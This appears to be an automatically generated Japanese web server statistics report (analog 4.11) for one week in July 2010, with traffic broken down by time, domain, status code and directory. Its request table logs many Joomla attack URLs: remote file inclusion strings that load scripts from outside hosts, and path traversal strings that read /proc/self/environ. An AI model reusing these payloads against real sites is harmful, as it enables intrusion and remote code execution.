ウェブサーバの統計

統計開始日時: 2010年 7月12日(月) 02時00分.
解析期間: 2010年 7月05日(月) 02時00分 〜 2010年 7月12日(月) 01時55分 (7.00 日).

全体の概要

(Go To: トップ: 全体の概要: 曜日別概要: 時間別概要: ドメインレポート: 組織別レポート: ステータスコードレポート: ファイルサイズレポート: ファイル種類別レポート: ディレクトリレポート: リクエストレポート)

成功したリクエスト件数: 3,980
上記の日別平均: 568
ホームページへの成功したリクエスト件数: 3,743
上記の日別平均: 534
リクエストエラー件数: 23,907
異なるファイルへのリクエスト件数: 216
異なるホストへのリクエスト件数: 268
転送データ量: 57.446 Mバイト
上記の日別平均: 8.210 Mバイト


曜日別概要

(Go To: トップ: 全体の概要: 曜日別概要: 時間別概要: ドメインレポート: 組織別レポート: ステータスコードレポート: ファイルサイズレポート: ファイル種類別レポート: ディレクトリレポート: リクエストレポート)

1単位 (+) は 25 ページへのリクエスト あるいはその値未満を表す.

日: リクエスト数: ページ数: 
--: ------------: --------: 
日:          282:      276: ++++++++++++
月:          634:      621: +++++++++++++++++++++++++
火:          845:      771: +++++++++++++++++++++++++++++++
水:          249:      211: +++++++++
木:          613:      552: +++++++++++++++++++++++
金:          878:      856: +++++++++++++++++++++++++++++++++++
土:          479:      456: +++++++++++++++++++

時間別概要

(Go To: トップ: 全体の概要: 曜日別概要: 時間別概要: ドメインレポート: 組織別レポート: ステータスコードレポート: ファイルサイズレポート: ファイル種類別レポート: ディレクトリレポート: リクエストレポート)

1単位 (+) は 8 ページへのリクエスト あるいはその値未満を表す.

時間: リクエスト数: ページ数: 
----: ------------: --------: 
   0:          262:      259: +++++++++++++++++++++++++++++++++
   1:          153:      153: ++++++++++++++++++++
   2:          209:      206: ++++++++++++++++++++++++++
   3:          197:      182: +++++++++++++++++++++++
   4:          161:      158: ++++++++++++++++++++
   5:          188:      185: ++++++++++++++++++++++++
   6:          178:      172: ++++++++++++++++++++++
   7:          146:      146: +++++++++++++++++++
   8:           85:       84: +++++++++++
   9:          116:      109: ++++++++++++++
  10:          100:      100: +++++++++++++
  11:          117:      117: +++++++++++++++
  12:          271:      268: ++++++++++++++++++++++++++++++++++
  13:           73:       68: +++++++++
  14:          103:       88: +++++++++++
  15:          256:      180: +++++++++++++++++++++++
  16:          140:      121: ++++++++++++++++
  17:          239:      196: +++++++++++++++++++++++++
  18:          241:      232: +++++++++++++++++++++++++++++
  19:          122:      118: +++++++++++++++
  20:          227:      215: +++++++++++++++++++++++++++
  21:           81:       78: ++++++++++
  22:          142:      137: ++++++++++++++++++
  23:          173:      171: ++++++++++++++++++++++

ドメインレポート

(Go To: トップ: 全体の概要: 曜日別概要: 時間別概要: ドメインレポート: 組織別レポート: ステータスコードレポート: ファイルサイズレポート: ファイル種類別レポート: ディレクトリレポート: リクエストレポート)

ドメイン の表:, 並べ替えのキーは 通信量.

リクエスト数: バイト数の割合(%): ドメイン
------------: --------------------: --------
         556:               34.81%: .net (Network)
         170:               24.20%: .ru (Russia)
        1358:               22.80%: .com (Commercial)
         679:               11.37%: [未解決アドレス]
          67:                2.71%: .jp (Japan)
         579:                1.71%: .ua (Ukraine)
          45:                0.94%: .it (Italy)
         109:                0.32%: .th (Thailand)
         104:                0.30%: .uk (United Kingdom)
          84:                0.23%: .pl (Poland)
          68:                0.18%: .de (Germany)
          50:                0.15%: .vn (Vietnam)
          25:                0.07%: .nl (Netherlands)
          11:                0.04%: .org (Non-Profit Making Organisations)
          12:                0.03%: .kr (South Korea)
          10:                0.03%: .dk (Denmark)
           9:                0.03%: .mx (Mexico)
           7:                0.02%: .ro (Romania)
           7:                0.02%: [不明ドメイン名]
           6:                0.02%: .tw (Taiwan)
           4:                0.01%: .my (Malaysia)
           4:                0.01%: .es (Spain)
           3:                0.01%: .be (Belgium)
           3:                0.01%: .bg (Bulgaria)
           7:                0.01%: .br (Brazil)
           2:                0.01%: .hu (Hungary)
           1:                     : .sc (Seychelles)

組織別レポート

(Go To: トップ: 全体の概要: 曜日別概要: 時間別概要: ドメインレポート: 組織別レポート: ステータスコードレポート: ファイルサイズレポート: ファイル種類別レポート: ディレクトリレポート: リクエストレポート)

上位の 20 組織 の表: 基準は リクエスト数, 並べ替えのキーは リクエスト数.

リクエスト数: バイト数の割合(%): 組織
------------: --------------------: ----
         679:               11.37%: [未解決アドレス]
         580:                1.71%: uniwebhosting.com
         578:                1.70%: od.wnet.ua
         145:                1.22%: ovh.net
         142:                0.41%: iwsservers.com
         134:                0.39%: east.ru
         109:                0.32%: kku.ac.th
          88:                0.26%: sevoiceanddata.com
          87:                0.22%: superb.net
          81:                0.15%: baidu.com
          73:                0.20%: nikkelhost.com
          68:                0.20%: webfusion.co.uk
          64:                0.19%: safesecureweb.com
          50:                0.15%: vn
          47:                0.13%: stone-is.net
          45:                0.94%: telecomitalia.it
          43:                0.12%: sd-france.net
          43:                0.12%: icnhost.net
          42:                0.11%: satfilm.net.pl
          42:                0.12%: ubiquityservers.com
         840:               79.97%: [残り: 96 組織]

ステータスコードレポート

(Go To: トップ: 全体の概要: 曜日別概要: 時間別概要: ドメインレポート: 組織別レポート: ステータスコードレポート: ファイルサイズレポート: ファイル種類別レポート: ディレクトリレポート: リクエストレポート)

ステータスコード の表:, 並べ替えのキーはステイタスコード.

リクエスト数: ステータスコード
------------: ----------------
        3957: 200 OK
           1: 206 部分的内容
          22: 304 最近の検索以来変更無し
           1: 400 不法リクエスト
          16: 401 要認証
       23888: 404 ページの未発見
           2: 405 不法メソッド

ファイルサイズレポート

(Go To: トップ: 全体の概要: 曜日別概要: 時間別概要: ドメインレポート: 組織別レポート: ステータスコードレポート: ファイルサイズレポート: ファイル種類別レポート: ディレクトリレポート: リクエストレポート)

     サイズ: リクエスト数: バイト数の割合(%): 
-----------: ------------: --------------------: 
          0:          147:                     : 
   1b-  10b:            2:                     : 
  11b- 100b:           19:                     : 
 101b-  1kb:          113:                0.06%: 
  1kb- 10kb:         3574:               10.27%: 
 10kb-100kb:           94:                2.74%: 
100kb-  1Mb:           17:                8.97%: 
  1Mb- 10Mb:           14:               77.96%: 

ファイル種類別レポート

(Go To: トップ: 全体の概要: 曜日別概要: 時間別概要: ドメインレポート: 組織別レポート: ステータスコードレポート: ファイルサイズレポート: ファイル種類別レポート: ディレクトリレポート: リクエストレポート)

拡張子 の表: 最小は 0.1% の通信量, 並べ替えのキーは 通信量.

リクエスト数: バイト数の割合(%): 拡張子
------------: --------------------: ------
          28:               85.50%: [無拡張子]
        3687:               10.11%: [ディレクトリ]
          71:                3.39%: .jpg  [JPEG graphics]
          34:                0.58%: .html [Hypertext Markup Language]
          22:                0.27%: .htm  [Hypertext Markup Language]
         131:                0.12%: .gif  [GIF graphics]
           7:                0.02%: [残り: 2 拡張子]

ディレクトリレポート

(Go To: トップ: 全体の概要: 曜日別概要: 時間別概要: ドメインレポート: 組織別レポート: ステータスコードレポート: ファイルサイズレポート: ファイル種類別レポート: ディレクトリレポート: リクエストレポート)

ディレクトリ の表: 最小は 0.01% の通信量, 並べ替えのキーは 通信量.

リクエスト数: バイト数の割合(%): ディレクトリ
------------: --------------------: ------------
        1665:               92.68%: /admin/
        2069:                3.53%: [ルートディレクトリ]
          20:                1.91%: /img/
          71:                1.64%: /ad/
          28:                0.15%: /i/
          16:                0.03%: /images/
          96:                0.03%: /icons/
          15:                0.02%: /count/

リクエストレポート

(Go To: トップ: 全体の概要: 曜日別概要: 時間別概要: ドメインレポート: 組織別レポート: ステータスコードレポート: ファイルサイズレポート: ファイル種類別レポート: ディレクトリレポート: リクエストレポート)

ファイル の表: 最小は 20 リクエスト, 並べ替えのキーは リクエスト数.

リクエスト数: バイト数の割合(%):        最終アクセス時刻: ファイル
------------: --------------------: -----------------------: --------
        2069:                3.53%: 2010年 7月12日 01時22分: /
         302:                0.55%: 2010年 7月06日 18時24分:   /?option=com_gcalendar&controller=http://www.tourgaja.net/www/data/casper/Ckrid1.txt??
         260:                0.47%: 2010年 7月12日 01時22分:   /?option=com_ckforms&controller=../../../../../../../../../../../../../../../proc/self/environ%00
         125:                0.23%: 2010年 7月10日 07時19分:   /?option=com_gcalendar&controller=../../../../../../../../../../../../../../../proc/self/environ%00
         115:                0.21%: 2010年 7月09日 18時42分:   /?option=com_sectionex&controller=http://lifelong.kookmin.ac.kr/site/bbs/Ckrid1.txt??
         109:                0.20%: 2010年 7月09日 19時29分:   /?option=com_ckforms&controller=http://lifelong.kookmin.ac.kr/site/bbs/Ckrid1.txt??
          97:                0.18%: 2010年 7月08日 11時51分:   /?option=com_g2bridge&controller=../../../../../../../../../../../../../../../proc/self/environ%00
          96:                0.17%: 2010年 7月11日 03時50分:   /?option=com_ckforms&controller=http://www.glassonweb.ru/UserFiles/Flash/Ckrid1.txt??
          78:                0.14%: 2010年 7月10日 16時38分:   /?option=com_rwcards&controller=../../../../../../../../../../../../../../../proc/self/environ%00
          74:                0.13%: 2010年 7月06日 23時41分:   /?option=com_sectionex&controller=http://www.tourgaja.net/www/data/casper/Ckrid1.txt??
          71:                0.13%: 2010年 7月09日 14時42分:   /?option=com_bca-rss-syndicator&controller=http://lifelong.kookmin.ac.kr/site/bbs/Ckrid1.txt??
          58:                0.10%: 2010年 7月11日 23時03分:   /?option=com_rokdownloads&controller=../../../../../../../../../../../../../../../proc/self/environ%00
          32:                0.06%: 2010年 7月08日 03時06分:   /?option=com_gcalendar&controller=http://www.namima.info/Admin/casper/Ckrid1.txt??
          31:                0.06%: 2010年 7月11日 14時32分:   /?option=com_fabrik&controller=../../../../../../../../../../../../../../../proc/self/environ%00
          28:                0.05%: 2010年 7月11日 17時59分:   /?option=com_sectionex&controller=../../../../../../../../../../../../../../../proc/self/environ%00
          26:                0.05%: 2010年 7月06日 00時48分:   /?option=com_realtyna&controller=../../../../../../../../../../../../../../../proc/self/environ%00
          24:                0.04%: 2010年 7月10日 01時12分:   /?option=com_bca-rss-syndicator&controller=../../../../../../../../../../../../../../../proc/self/environ%00
          21:                0.04%: 2010年 7月06日 18時28分:   /?option=com_jejob&view=../../../../../../../../../../../../../../../proc/self/environ%00
          17:                0.03%: 2010年 7月10日 16時26分:   /?option=com_rwcards/?custompluginfile[]=../../../../../../../../../../../../../../../proc/self/environ%00
          16:                0.03%: 2010年 7月11日 18時52分:   /?option=com_ckforms&controller=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%00
          15:                0.03%: 2010年 7月10日 07時17分:   /?option=com_joomlapicasa2&controller=../../../../../../../../../../../../../../../proc/self/environ%00
          13:                0.02%: 2010年 7月09日 20時20分:   /?option=com_extended_registration&controller=../../../../../../../../../../../../../../../proc/self/environ%00
          12:                0.02%: 2010年 7月10日 06時38分:   /?mosConfig_absolute_path=http://sites.google.com/site/nurhayatisatu/1.txt???
          11:                0.02%: 2010年 7月08日 23時56分:   /?option=com_ninjarsssyndicator&controller=http://www.namima.info/Admin/casper/Ckrid1.txt??
        1567:                6.40%: 2010年 7月12日 01時22分: /admin/
         302:                1.23%: 2010年 7月06日 18時24分:   /admin/?option=com_gcalendar&controller=http://www.tourgaja.net/www/data/casper/Ckrid1.txt??
         181:                0.74%: 2010年 7月12日 01時22分:   /admin/?option=com_ckforms&controller=../../../../../../../../../../../../../../../proc/self/environ%00
         115:                0.47%: 2010年 7月09日 18時42分:   /admin/?option=com_sectionex&controller=http://lifelong.kookmin.ac.kr/site/bbs/Ckrid1.txt??
         109:                0.44%: 2010年 7月09日 19時29分:   /admin/?option=com_ckforms&controller=http://lifelong.kookmin.ac.kr/site/bbs/Ckrid1.txt??
          96:                0.39%: 2010年 7月11日 03時50分:   /admin/?option=com_ckforms&controller=http://www.glassonweb.ru/UserFiles/Flash/Ckrid1.txt??
          83:                0.34%: 2010年 7月10日 07時11分:   /admin/?option=com_gcalendar&controller=../../../../../../../../../../../../../../../proc/self/environ%00
          74:                0.30%: 2010年 7月06日 23時41分:   /admin/?option=com_sectionex&controller=http://www.tourgaja.net/www/data/casper/Ckrid1.txt??
          72:                0.29%: 2010年 7月08日 11時51分:   /admin/?option=com_g2bridge&controller=../../../../../../../../../../../../../../../proc/self/environ%00
          71:                0.29%: 2010年 7月09日 14時42分:   /admin/?option=com_bca-rss-syndicator&controller=http://lifelong.kookmin.ac.kr/site/bbs/Ckrid1.txt??
          53:                0.22%: 2010年 7月11日 23時03分:   /admin/?option=com_rokdownloads&controller=../../../../../../../../../../../../../../../proc/self/environ%00
          38:                0.16%: 2010年 7月10日 16時38分:   /admin/?option=com_rwcards&controller=../../../../../../../../../../../../../../../proc/self/environ%00
          32:                0.13%: 2010年 7月08日 03時06分:   /admin/?option=com_gcalendar&controller=http://www.namima.info/Admin/casper/Ckrid1.txt??
          28:                0.11%: 2010年 7月11日 17時59分:   /admin/?option=com_sectionex&controller=../../../../../../../../../../../../../../../proc/self/environ%00
          26:                0.11%: 2010年 7月06日 00時48分:   /admin/?option=com_realtyna&controller=../../../../../../../../../../../../../../../proc/self/environ%00
          24:                0.10%: 2010年 7月10日 01時12分:   /admin/?option=com_bca-rss-syndicator&controller=../../../../../../../../../../../../../../../proc/self/environ%00
          23:                0.09%: 2010年 7月11日 14時32分:   /admin/?option=com_fabrik&controller=../../../../../../../../../../../../../../../proc/self/environ%00
          21:                0.09%: 2010年 7月06日 18時28分:   /admin/?option=com_jejob&view=../../../../../../../../../../../../../../../proc/self/environ%00
          13:                0.05%: 2010年 7月11日 18時52分:   /admin/?option=com_ckforms&controller=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%00
          13:                0.05%: 2010年 7月10日 16時20分:   /admin/?option=com_rwcards/?custompluginfile[]=../../../../../../../../../../../../../../../proc/self/environ%00
          12:                0.05%: 2010年 7月10日 06時38分:   /admin/?mosConfig_absolute_path=http://sites.google.com/site/nurhayatisatu/1.txt???
          11:                0.04%: 2010年 7月08日 23時56分:   /admin/?option=com_ninjarsssyndicator&controller=http://www.namima.info/Admin/casper/Ckrid1.txt??
          10:                0.04%: 2010年 7月09日 20時20分:   /admin/?option=com_extended_registration&controller=../../../../../../../../../../../../../../../proc/self/environ%00
          24:                0.01%: 2010年 7月11日 04時17分: /icons/back.gif
          24:                0.01%: 2010年 7月11日 04時17分: /icons/blank.gif
          21:                0.01%: 2010年 7月11日 21時14分: /icons/folder.gif
         275:               90.05%: 2010年 7月12日 01時25分: [残り: 62 ファイル]

レポート製作ソフト analog 4.11.
解析時間: 1 秒.

(Go To: トップ: 全体の概要: 曜日別概要: 時間別概要: ドメインレポート: 組織別レポート: ステータスコードレポート: ファイルサイズレポート: ファイル種類別レポート: ディレクトリレポート: リクエストレポート)